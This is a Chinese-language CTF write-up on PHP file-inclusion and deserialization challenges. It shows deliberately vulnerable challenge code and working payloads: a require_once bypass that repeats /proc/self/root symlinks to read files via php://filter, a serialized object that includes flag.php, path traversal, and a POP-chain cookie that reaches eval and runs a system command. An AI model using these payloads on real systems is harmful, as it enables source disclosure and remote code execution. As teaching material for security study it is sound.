CTF中关于文件包含漏洞

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
    require_once($_GET['file']);
} 

场景描述:我们在审计时找到一处文件包含漏洞(使用require_once或include_once),想利用这个漏洞读取一下数据库配置文件之类的源码,通常可以使用php://filter/convert.base64-encode/resource=file这样的方式将文件以base64的形式读出来。但如果这个文件在前面已经被包含过了,则第二次包含就会失败,即使使用php://filter也一样。

此时我们可以使用“多重软连接”,正常情况下,PHP会将用户输入的文件名进行resolve,转换成标准的绝对路径,这个转换的过程会将…/、./、软连接等都进行计算,得到一个最终的路径,再进行包含。每次包含都会经历这个过程,所以,只要是相同的文件,不管中间使用了…/进行跳转,还是使用软连接进行跳转,都逃不过最终被转换成原始路径的过程,也就绕不过require_once。

但是,如果软连接跳转的次数超过了某一个上限,Linux的lstat函数就会出错,导致PHP计算出的绝对路径就会包含一部分软连接的路径,也就和原始路径不相同的,即可绕过require_once限制。 在Linux下,最常见的软连接就是/proc/self/root,这个路径指向根目录。所以,我们可以多次使用这个路径:

绕过代码,使用软连接/proc/self/root跳转,一般使用22次以上
/?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

或者使用这样的方式包含根目录下的flag试试:

/?file=../../../../../../../../../flag

 

场景2:

代码如下:

<?php
include "flag.php";

class Connection
{
    public $file;

    public function __construct($file)
    {
        $this->file $file;
    }

    public function __sleep()
    {
        $this->file 'sleep.txt';
        return array('file');
    }

    public function __destruct()
    {
        include($this->file);
    }
}

if (isset($_GET['un'])) {
    $obj2 unserialize($_GET['un']);
} else {
    highlight_file(__file__);
}

分析所得:

flag值位置:存在于当前目录下的flag.php页面内
后台存在反序列化函数
后台存在不正当使用魔术方法的行为
后台存在文件包含漏洞
用于对传入的反序列化的内容可控
3.解题过程
第一步:分析流程

想要获得flag值,就要包含flag.php;(注意:需要用到php://filter伪协议读取flag.php的源码,虽然php文件中对于符合php语法规范的要解析执行,对于不符合php语法规范的直接读取,但是注释的内容不会解析执行,也不会在前台显示,因此位于注释中的flag是不能够直接包含出来的,我们此时就需要读取页面的源码来获得flag值)
想要包含flag.php,就要执行析构方法并且让当前类的file属性的值为flag.php
想要执行析构方法,就要有一个当前类的实例化对象被销毁(只要脚本执行完毕,对象会自动被销毁,此时就会执行析构方法,进行文件包含了)(当然了,后台若使用unset()函数也可以人为的销毁对象)
第二步:根据以上步骤构造payload

<?php
class Connection
{
    public $file='php://filter/convert.base64-encode/resource=flag.php';
}

$chen = new Connection();
echo serialize($chen);

//O:10:"Connection":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}

因此payload,如下:

 

 

?un=O:10:"Connection":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}

 

 

 

CTF中关于文件包含漏洞

 

使用burp解密得到flag

<?php
//flag{9bfd3534-0246-4978-9cc9-9ab556bcba4e}

场景3:

代码如下:

<?php

error_reporting(0);
highlight_file(__FILE__);

class ctfuser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

魔法方法他来了,方法不能被序列化,但是比如 __construct 魔法方法这种在生成对象时就被调用了,所以在构造序列化字符串时也要考虑

简单的构造方法,就是把类复制,把该删的删掉剩下的改就行了

<?php
class ctfuser{
    # 没用到的都可以删掉
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    # 用到了,但是值无关紧要
    public $class = 'info';

    # 构造方法,创建新对象时先调用此方法,适合在使用对象之前做一些初始化工作
    public function __construct(){
        $this->class=new info();
        # 因为代码执行函数在 backDoor 类,所以这里可以直接 $this->class=new backDoor();
    }
    # 不能序列化
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    # 析构方法,对象销毁时生效,所以无效
    public function __destruct(){
        $this->class->getInfo();
    }
}

# 没用到删去
class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

# 要利用的类
class backDoor{
    # 关键点,code是可以控制的,code有可以执行代码,这里code=恶意代码
    public $code;
    # 方法不能序列化,删除
    public function getInfo(){
        eval($this->code);
    }
}

 

最终构造的POC代码如下:

<?php
class ctfuser{
    private $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}

class backDoor{
    private $code='system("tac flag.php");';
    # 要执行的命令
}
var_dump(urlencode(serialize(new ctfuser())));
?>

pyload如下:

get访问 /?username=xxxxxx&password=xxxxxx
cookie:user=O%3A7%3A%22ctfuser%22%3A1%3A%7Bs%3A14%3A%22%00ctfuser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D

 

 

THE END
分享
二维码
海报
CTF中关于文件包含漏洞
<?php highlight_file(__FILE__); require_once 'flag.php'; if(isset($_GET['file'])) { require_once($_GET['file']); } 场景描述:我们在审计时找到一处文件包含漏洞(使用require_once或include_……
<<上一篇
下一篇>>